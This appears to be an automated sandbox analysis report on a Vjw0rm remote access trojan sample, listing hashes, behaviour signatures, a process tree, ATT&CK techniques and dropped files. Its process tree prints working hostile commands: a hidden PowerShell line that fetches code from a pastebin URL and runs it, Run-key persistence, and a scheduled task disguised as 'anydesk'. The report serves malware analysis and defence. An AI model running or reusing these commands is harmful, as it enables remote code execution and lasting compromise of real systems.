Analysis

  • max time kernel
    149s
  • max time network
    187s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    17-05-2021 02:50

General

  • Target

    4ac6131d639aa802302ab4cf32b959f9ab5ec76752cc297eb380d5c23d4a68f2.exe

  • Size

    2.5MB

  • MD5

    1ba6b23a139f0f46c31f74b174f48be2

  • SHA1

    1c7a38a017f9444dbb6879279d4e12c2cc01c83c

  • SHA256

    4ac6131d639aa802302ab4cf32b959f9ab5ec76752cc297eb380d5c23d4a68f2

  • SHA512

    f0b788429de97fde2c3575d845a6cbe19fe22a3562417005a5db26dedc57cbfd27b914d8c8a12c58c6eabab0eeea6e7caf62e40cadbb286c4287e5c417a00565

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://pastebin.com/raw/gC5dfjh9

Signatures

  • Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

  • Executes dropped EXE 2 IoCs
  • Drops startup file 4 IoCs
  • Loads dropped DLL 7 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4ac6131d639aa802302ab4cf32b959f9ab5ec76752cc297eb380d5c23d4a68f2.exe
    "C:\Users\Admin\AppData\Local\Temp\4ac6131d639aa802302ab4cf32b959f9ab5ec76752cc297eb380d5c23d4a68f2.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dllm.vbs"
      2⤵
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:1380
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.DownloadString('https://pastebin.com/raw/gC5dfjh9'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:952
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.DownloadString('https://pastebin.com/raw/gC5dfjh9'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exit
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1740
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value 'C:\Users\Admin\AppData\Local\Temp\dllm.vbs'
        3⤵
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2036
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value 'C:\Users\Admin\AppData\Local\Temp\dllm.vbs'
        3⤵
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1104
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\setup.js"
      2⤵
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:1608
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn anydesk /tr "C:\Users\Admin\AppData\Local\Temp\setup.js
        3⤵
        • Creates scheduled task(s)
        PID:1812
    • C:\Users\Admin\AppData\Local\Temp\setup.exe
      "C:\Users\Admin\AppData\Local\Temp\setup.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1480
      • C:\Users\Admin\AppData\Local\Temp\is-HV54T.tmp\setup.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-HV54T.tmp\setup.tmp" /SL5="$5015A,1940541,119296,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: GetForegroundWindowSpam
        PID:1632

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scheduled Task

1
T1053

Persistence

Registry Run Keys / Startup Folder

1
T1060

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

1
T1082

Command and Control

Web Service

1
T1102

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96
    MD5

    df44874327d79bd75e4264cb8dc01811

    SHA1

    1396b06debed65ea93c24998d244edebd3c0209d

    SHA256

    55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

    SHA512

    95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afcc
    MD5

    be4d72095faf84233ac17b94744f7084

    SHA1

    cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

    SHA256

    b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

    SHA512

    43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75
    MD5

    02ff38ac870de39782aeee04d7b48231

    SHA1

    0390d39fa216c9b0ecdb38238304e518fb2b5095

    SHA256

    fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

    SHA512

    24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432b
    MD5

    b6d38f250ccc9003dd70efd3b778117f

    SHA1

    d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

    SHA256

    4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

    SHA512

    67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd47eb21-a96b-4ccd-99d7-0d9f3f6c10b6
    MD5

    75a8da7754349b38d64c87c938545b1b

    SHA1

    5c28c257d51f1c1587e29164cc03ea880c21b417

    SHA256

    bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

    SHA512

    798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9b427a0-6073-4eb8-9b09-f8e4712d7ab5
    MD5

    5e3c7184a75d42dda1a83606a45001d8

    SHA1

    94ca15637721d88f30eb4b6220b805c5be0360ed

    SHA256

    8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

    SHA512

    fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    af8379842a6e2795202f7958f216d3a0

    SHA1

    61ee6a2e2df89fcc7016f0f6064258c535d25cc5

    SHA256

    d8a1afdf6edaf897487c4dacbf68533c84eef230717fa30a3b16804a1d5b9919

    SHA512

    d78e02bbf2ae4e395dc050562b654b0795fbbdf7f585345fd4131a0fb7d3dc60563d1311b0d53875526660ccdd139313af1f5c82269588eda090aec5431bc3fb

  • C:\Users\Admin\AppData\Local\Temp\dllm.vbs
    MD5

    fd820480df12caf43951f5f89f8deefc

    SHA1

    c6a2c1f8a24282c10228ca332accf97da37f86ef

    SHA256

    705646f923a2412757bae71b60de0fef31284756768a59ef2057eaee7dfafe9f

    SHA512

    0e8601194dbe56933c57805a59624b11414cfbdced46e45d874f5e3e43bd4d7195e650b22d2c783a041e3725168e593ab823b399f995fe6960c3e3eb597a8f36

  • C:\Users\Admin\AppData\Local\Temp\is-HV54T.tmp\setup.tmp
    MD5

    e4a2856522e6a817e3f0edd2677fa647

    SHA1

    7cffea7ad238e4d2a64238139ab64802dbaf1185

    SHA256

    e11132ca9fb98307830147446f5f731e19e308949e1a473d177d5a9f7ddf9c7e

    SHA512

    25df15be9123496ed7f798ef892da334cc347016fcede7a6d4d580871926b2396923d71db9fdf8773dbca7a33e03bf33774c4bf2c9837918d1411eead573d964

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    MD5

    b45935c434d4f278f9e1339242942756

    SHA1

    74e1d97944471508c13e931d9f9f0a8414ff3ac2

    SHA256

    dce25f4104d88a877e981d48d039a7cf8adb324a0f4402f4034f2d4ff748b357

    SHA512

    bbb6c771f04e6fa8d5b545897c470b684c22cdc9b8725a20343304e0232d86b6f6f525dcd8dd99026befcbec80961998e8e064170e40de74441cb6e72bdf8d07

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    MD5

    b45935c434d4f278f9e1339242942756

    SHA1

    74e1d97944471508c13e931d9f9f0a8414ff3ac2

    SHA256

    dce25f4104d88a877e981d48d039a7cf8adb324a0f4402f4034f2d4ff748b357

    SHA512

    bbb6c771f04e6fa8d5b545897c470b684c22cdc9b8725a20343304e0232d86b6f6f525dcd8dd99026befcbec80961998e8e064170e40de74441cb6e72bdf8d07

  • C:\Users\Admin\AppData\Local\Temp\setup.js
    MD5

    105a99610e0130f583a50a9e2fdaeafa

    SHA1

    783cb3e9264a255244349c4388ace41b3a2ec497

    SHA256

    a8dbcfebb709ccb40a3e54d7da9c04c2ba8498ae284d013ed6aa8acc819d751e

    SHA512

    a50de4256f3c0cb724e1e02b7b55497a60b8b1d71ed09bccd38cb7dec3703726c5a6cad58c895e0fede8ddb97b415e3cfd55aee3cbe2460209f36bf93a566d73

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    MD5

    b9cc9156bf5ed7457af90b058a184184

    SHA1

    8b20aa1d0ebdd97096a40f264d37cc78ebbae7ee

    SHA256

    1f869bbbd474b467c1218ab3e6ac4bf6bee5606026e3303b67b4e49563a42ab2

    SHA512

    84dde36eb7a711839de132fb00e452a189561b2ca5921343546e97bde8d1bcdbecbed19e79fa8fc4f981629ddd410c04f9f7e969ba8fe51812dbe4d495d9343e

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    MD5

    b9cc9156bf5ed7457af90b058a184184

    SHA1

    8b20aa1d0ebdd97096a40f264d37cc78ebbae7ee

    SHA256

    1f869bbbd474b467c1218ab3e6ac4bf6bee5606026e3303b67b4e49563a42ab2

    SHA512

    84dde36eb7a711839de132fb00e452a189561b2ca5921343546e97bde8d1bcdbecbed19e79fa8fc4f981629ddd410c04f9f7e969ba8fe51812dbe4d495d9343e

  • \Users\Admin\AppData\Local\Temp\is-HV54T.tmp\setup.tmp
    MD5

    e4a2856522e6a817e3f0edd2677fa647

    SHA1

    7cffea7ad238e4d2a64238139ab64802dbaf1185

    SHA256

    e11132ca9fb98307830147446f5f731e19e308949e1a473d177d5a9f7ddf9c7e

    SHA512

    25df15be9123496ed7f798ef892da334cc347016fcede7a6d4d580871926b2396923d71db9fdf8773dbca7a33e03bf33774c4bf2c9837918d1411eead573d964

  • \Users\Admin\AppData\Local\Temp\is-UUQFB.tmp\_isetup\_shfoldr.dll
    MD5

    92dc6ef532fbb4a5c3201469a5b5eb63

    SHA1

    3e89ff837147c16b4e41c30d6c796374e0b8e62c

    SHA256

    9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87

    SHA512

    9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

  • \Users\Admin\AppData\Local\Temp\is-UUQFB.tmp\_isetup\_shfoldr.dll
    MD5

    92dc6ef532fbb4a5c3201469a5b5eb63

    SHA1

    3e89ff837147c16b4e41c30d6c796374e0b8e62c

    SHA256

    9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87

    SHA512

    9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

  • \Users\Admin\AppData\Local\Temp\setup.exe
    MD5

    b45935c434d4f278f9e1339242942756

    SHA1

    74e1d97944471508c13e931d9f9f0a8414ff3ac2

    SHA256

    dce25f4104d88a877e981d48d039a7cf8adb324a0f4402f4034f2d4ff748b357

    SHA512

    bbb6c771f04e6fa8d5b545897c470b684c22cdc9b8725a20343304e0232d86b6f6f525dcd8dd99026befcbec80961998e8e064170e40de74441cb6e72bdf8d07

  • \Users\Admin\AppData\Local\Temp\setup.exe
    MD5

    b45935c434d4f278f9e1339242942756

    SHA1

    74e1d97944471508c13e931d9f9f0a8414ff3ac2

    SHA256

    dce25f4104d88a877e981d48d039a7cf8adb324a0f4402f4034f2d4ff748b357

    SHA512

    bbb6c771f04e6fa8d5b545897c470b684c22cdc9b8725a20343304e0232d86b6f6f525dcd8dd99026befcbec80961998e8e064170e40de74441cb6e72bdf8d07

  • \Users\Admin\AppData\Local\Temp\setup.exe
    MD5

    b45935c434d4f278f9e1339242942756

    SHA1

    74e1d97944471508c13e931d9f9f0a8414ff3ac2

    SHA256

    dce25f4104d88a877e981d48d039a7cf8adb324a0f4402f4034f2d4ff748b357

    SHA512

    bbb6c771f04e6fa8d5b545897c470b684c22cdc9b8725a20343304e0232d86b6f6f525dcd8dd99026befcbec80961998e8e064170e40de74441cb6e72bdf8d07

  • \Users\Admin\AppData\Local\Temp\setup.exe
    MD5

    b45935c434d4f278f9e1339242942756

    SHA1

    74e1d97944471508c13e931d9f9f0a8414ff3ac2

    SHA256

    dce25f4104d88a877e981d48d039a7cf8adb324a0f4402f4034f2d4ff748b357

    SHA512

    bbb6c771f04e6fa8d5b545897c470b684c22cdc9b8725a20343304e0232d86b6f6f525dcd8dd99026befcbec80961998e8e064170e40de74441cb6e72bdf8d07

  • memory/952-83-0x0000000000000000-mapping.dmp
  • memory/1104-149-0x0000000002590000-0x0000000002591000-memory.dmp
    Filesize

    4KB

  • memory/1104-148-0x0000000004AC0000-0x0000000004AC1000-memory.dmp
    Filesize

    4KB

  • memory/1104-147-0x0000000002640000-0x0000000002641000-memory.dmp
    Filesize

    4KB

  • memory/1104-144-0x0000000000000000-mapping.dmp
  • memory/1104-150-0x00000000053D0000-0x00000000053D1000-memory.dmp
    Filesize

    4KB

  • memory/1104-151-0x0000000004A80000-0x0000000004A81000-memory.dmp
    Filesize

    4KB

  • memory/1104-152-0x0000000004A82000-0x0000000004A83000-memory.dmp
    Filesize

    4KB

  • memory/1104-153-0x00000000056E0000-0x00000000056E1000-memory.dmp
    Filesize

    4KB

  • memory/1380-60-0x0000000000000000-mapping.dmp
  • memory/1480-74-0x0000000000400000-0x0000000000428000-memory.dmp
    Filesize

    160KB

  • memory/1480-70-0x0000000000000000-mapping.dmp
  • memory/1608-61-0x0000000000000000-mapping.dmp
  • memory/1632-76-0x0000000000000000-mapping.dmp
  • memory/1632-80-0x0000000000240000-0x0000000000241000-memory.dmp
    Filesize

    4KB

  • memory/1740-89-0x0000000002240000-0x0000000002E8A000-memory.dmp
    Filesize

    12.3MB

  • memory/1740-91-0x0000000002650000-0x0000000002651000-memory.dmp
    Filesize

    4KB

  • memory/1740-102-0x0000000006230000-0x0000000006231000-memory.dmp
    Filesize

    4KB

  • memory/1740-101-0x000000007EF30000-0x000000007EF31000-memory.dmp
    Filesize

    4KB

  • memory/1740-84-0x0000000000000000-mapping.dmp
  • memory/1740-87-0x0000000001E90000-0x0000000001E91000-memory.dmp
    Filesize

    4KB

  • memory/1740-125-0x0000000006630000-0x0000000006631000-memory.dmp
    Filesize

    4KB

  • memory/1740-111-0x0000000006450000-0x0000000006451000-memory.dmp
    Filesize

    4KB

  • memory/1740-110-0x00000000062E0000-0x00000000062E1000-memory.dmp
    Filesize

    4KB

  • memory/1740-100-0x0000000006080000-0x0000000006081000-memory.dmp
    Filesize

    4KB

  • memory/1740-88-0x0000000004730000-0x0000000004731000-memory.dmp
    Filesize

    4KB

  • memory/1740-126-0x0000000006640000-0x0000000006641000-memory.dmp
    Filesize

    4KB

  • memory/1740-109-0x00000000062C0000-0x00000000062C1000-memory.dmp
    Filesize

    4KB

  • memory/1740-92-0x0000000005290000-0x0000000005291000-memory.dmp
    Filesize

    4KB

  • memory/1740-95-0x0000000006010000-0x0000000006011000-memory.dmp
    Filesize

    4KB

  • memory/1812-86-0x0000000000000000-mapping.dmp
  • memory/1960-59-0x0000000075201000-0x0000000075203000-memory.dmp
    Filesize

    8KB

  • memory/2036-143-0x00000000056A0000-0x00000000056A1000-memory.dmp
    Filesize

    4KB

  • memory/2036-127-0x0000000000000000-mapping.dmp
  • memory/2036-130-0x0000000000C90000-0x0000000000C91000-memory.dmp
    Filesize

    4KB

  • memory/2036-133-0x0000000005300000-0x0000000005301000-memory.dmp
    Filesize

    4KB

  • memory/2036-132-0x00000000026C0000-0x00000000026C1000-memory.dmp
    Filesize

    4KB

  • memory/2036-131-0x00000000047E0000-0x00000000047E1000-memory.dmp
    Filesize

    4KB